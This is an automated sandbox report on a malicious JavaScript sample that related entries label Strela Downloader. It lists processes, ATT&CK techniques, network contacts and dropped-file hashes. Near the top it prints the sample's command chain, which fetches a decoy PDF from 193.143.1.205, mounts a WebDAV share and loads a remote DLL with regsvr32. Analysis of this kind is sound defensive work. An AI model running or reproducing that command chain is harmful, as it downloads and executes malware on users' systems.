Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2835523725329532164.js	8%	Virustotal		Browse
2835523725329532164.js	5%	ReversingLabs

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1376717862.000001BC57CB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false	high
http://crl.ver)	svchost.exe, 0000000A.00000002.2605362921.000001BC57EB1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false	high
https://www.adobe.co	ReaderMessages.6.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1388472109.00000220F5338000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1388472109.00000220F536C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1388472109.00000220F538C000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588165
Start date and time:	2025-01-10 22:06:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2835523725329532164.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 34.237.241.83, 23.195.76.153, 20.12.23.50, 13.85.23.206, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:07:32	API Interceptor	20x Sleep call for process: powershell.exe modified
16:07:36	API Interceptor	1x Sleep call for process: net.exe modified
16:07:36	API Interceptor	2x Sleep call for process: svchost.exe modified
16:07:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066942999472512
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqM:2JIB/wUKUKQncEmYRTwh04
MD5:	BE99F818933F0F0264E67112B09280B7
SHA1:	E3787AF3AA21E021387621B439AA09984A96BEFB
SHA-256:	39D0126BDEF3ADA9A69FE15A1545BBA7B7C286FE3671C6B0F154C460174A21BC
SHA-512:	0B2650EFC33A75536CC5CC5D91A66E623FF08968533B69A99D9B2FD87165A1214AFE0444692DDFCA4F9881163B631DA9D8023B663424482120DA7E8D0278490C
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc1708ffe, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899762333579579
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	01B4B76FE4D8E88D8C7980EBA806F92B
SHA1:	3B71D29B7AB7015DC2B4D21A86E2B8D56CA9C68C
SHA-256:	F20690275B191C32A0B47C4A9AEADC0F8A089A4380579EBB6A8A0D96BF0C3484
SHA-512:	A78FAC9D00E09951091FCF107247F3A063FC06E98FE72FC16647FEB21C9C86F858F9D95B3AB5AF8B12743284F5F1C36288763125BD7B2AA1895A604BC4C3B1D7
Malicious:	false
Preview:	.p..... ...............X\...;...{......................0.`.....42...{5.$....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................il]$....}....................].$....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08202435363847635
Encrypted:	false
SSDEEP:	3:zStlKYe2Teyg1t/57Dek3J84dTvCtllollEqW3l/TjzzQ/t:zStlKzKezHR3t8uTqtAmd8/
MD5:	57FE69A5963CA2FE3BE1BB80DCFD5845
SHA1:	59016630CC2A5E90AEB96A76B7DA2E3149AABFAA
SHA-256:	F5E16439C3FA6A0827A8A3ABA36C825D2684805207CB5AD0722CF76032957B97
SHA-512:	F95F94DA20F22EBA28C232113166694B65038438B6EC3BDA872DF29C7053C273907D749BFB20B64CCE07A3FEF72789A743C548CA70AE291E232A0EEA52A7FAAB
Malicious:	false
Preview:	..b......................................;...{..$....}..42...{5.........42...{5.42...{5...Y.42...{59..................].$....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.195810559529538
Encrypted:	false
SSDEEP:	6:iO4330Js+q2PcNwi2nKuAl9OmbnIFUtS330LxWZmws330si3VkwOcNwi2nKuAl91:7A0C+vLZHAahFUtW0LxW/s0seV54ZHAR
MD5:	EEF269C6676297B00F876B541CEA3756
SHA1:	3112D7F0E4AAD2C135A2C5B0B0B18971EB42ED75
SHA-256:	2657666792563B72CB30FE7E5DB33776429C62DFEE05C44F4EC6F4271BDD64AB
SHA-512:	FC2CEC841F2BD364E5001A8234431F43A7110BAAEC68F695CD9CBE33C4DB5442AE1C1928BF92EC36B0C8904723716317B3BF6D016AAC5D4FB00CFB014B6FD41B
Malicious:	false
Preview:	2025/01/10-16:07:36.115 1f5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:36.117 1f5c Recovering log #3.2025/01/10-16:07:36.118 1f5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.195810559529538
Encrypted:	false
SSDEEP:	6:iO4330Js+q2PcNwi2nKuAl9OmbnIFUtS330LxWZmws330si3VkwOcNwi2nKuAl91:7A0C+vLZHAahFUtW0LxW/s0seV54ZHAR
MD5:	EEF269C6676297B00F876B541CEA3756
SHA1:	3112D7F0E4AAD2C135A2C5B0B0B18971EB42ED75
SHA-256:	2657666792563B72CB30FE7E5DB33776429C62DFEE05C44F4EC6F4271BDD64AB
SHA-512:	FC2CEC841F2BD364E5001A8234431F43A7110BAAEC68F695CD9CBE33C4DB5442AE1C1928BF92EC36B0C8904723716317B3BF6D016AAC5D4FB00CFB014B6FD41B
Malicious:	false
Preview:	2025/01/10-16:07:36.115 1f5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:36.117 1f5c Recovering log #3.2025/01/10-16:07:36.118 1f5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.215072774747801
Encrypted:	false
SSDEEP:	6:iO433ySVq2PcNwi2nKuAl9Ombzo2jMGIFUtS33HgZmws33VMIkwOcNwi2nKuAl97:7AySVvLZHAa8uFUtWHg/sOI54ZHAa8RJ
MD5:	04C0BC811FA9C4A467F503CB356ABF08
SHA1:	BF726121EB501D3B080FABCDB9CA8CEBDCA5C923
SHA-256:	562A2D548475475CB9A018A7A216DA0FD9C1837A05E3F780BE4B1AFA0EC24CED
SHA-512:	954875EE5C4399CA5DDB60FB5A61B0ACA11E8852FC9290ECD2AF87E214DFE276FAA5C7C52F652848BC9B33128CBCE5A5FAA36FCED5DDD196A26EE5957A4BA399
Malicious:	false
Preview:	2025/01/10-16:07:36.280 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:36.282 1664 Recovering log #3.2025/01/10-16:07:36.283 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.215072774747801
Encrypted:	false
SSDEEP:	6:iO433ySVq2PcNwi2nKuAl9Ombzo2jMGIFUtS33HgZmws33VMIkwOcNwi2nKuAl97:7AySVvLZHAa8uFUtWHg/sOI54ZHAa8RJ
MD5:	04C0BC811FA9C4A467F503CB356ABF08
SHA1:	BF726121EB501D3B080FABCDB9CA8CEBDCA5C923
SHA-256:	562A2D548475475CB9A018A7A216DA0FD9C1837A05E3F780BE4B1AFA0EC24CED
SHA-512:	954875EE5C4399CA5DDB60FB5A61B0ACA11E8852FC9290ECD2AF87E214DFE276FAA5C7C52F652848BC9B33128CBCE5A5FAA36FCED5DDD196A26EE5957A4BA399
Malicious:	false
Preview:	2025/01/10-16:07:36.280 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:36.282 1664 Recovering log #3.2025/01/10-16:07:36.283 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\156a8b74-bc8d-4123-9c00-0d163db29f98.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962562602285414
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjksBdOg2Hpgcaq3QYiubSpDyP7E4T3y:Y2sRds6JdMHp3QYhbSpDa7nby
MD5:	EE28ADFDACDFD3F58DCAAD493CA3B087
SHA1:	13046AC9C3C796885FC0C6EA58CCF6788383F515
SHA-256:	1C45AA961B4B614046B9094AD49407A13AC07E7B9093CF43EFB379940A27CFD9
SHA-512:	00A1E631A11C385AFC561A9330E39A169017052AD6A2A5473F667648DB2B71DA0E366A2BFB935341714874A4209B35EEB8BC34519153D4A6911D3AD3BC977637
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103267891241","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118170},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63bd34.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c275a6c6-24d6-44db-b543-282806ff54f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237884969605795
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPlaXUU9m:CwNw1GHqPySfkcigoO3h28ytPlcUU9m
MD5:	367FEBF3C46204B021CD637DD4CE9F57
SHA1:	308F4A7221011C762AA71AC97CD4A459EB23B0C2
SHA-256:	CBBF81E9DA9998CA3AA31E145E8CD50A6EB7E50BD3D05F2086D24689712058CD
SHA-512:	1AD51FC00BB6599BB29FC0B2314D9539D603A1EF30DB9A985BD3FF18B64B21C49401C74F616409802F6B7EF6963029DD999E147A5186BE906171BF4080F1C591
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.213886239260829
Encrypted:	false
SSDEEP:	6:iO4332ZFUMVq2PcNwi2nKuAl9OmbzNMxIFUtS332RF/gZmws3326IkwOcNwi2nKA:7AsF/VvLZHAa8jFUtWkF/g/sHI54ZHAo
MD5:	37E291C13131E0E6DA4237B961C9C0AE
SHA1:	9B8AE15FD81FB3BD97C0A46A2EBA45F38D6A3C9E
SHA-256:	714410049655DF9D85F97251078BA5C8469B8467E789B64F80EEC5C2ED9E9AA4
SHA-512:	1C3FE85A9206FCB31433E5472426980D3B5036A5572502110FFB4622C40BC9FB9302444B74DB527BA799D833828BBAEBF1D9C1F27C272207654AC9C959EB1690
Malicious:	false
Preview:	2025/01/10-16:07:36.360 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:36.368 1664 Recovering log #3.2025/01/10-16:07:36.369 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.213886239260829
Encrypted:	false
SSDEEP:	6:iO4332ZFUMVq2PcNwi2nKuAl9OmbzNMxIFUtS332RF/gZmws3326IkwOcNwi2nKA:7AsF/VvLZHAa8jFUtWkF/g/sHI54ZHAo
MD5:	37E291C13131E0E6DA4237B961C9C0AE
SHA1:	9B8AE15FD81FB3BD97C0A46A2EBA45F38D6A3C9E
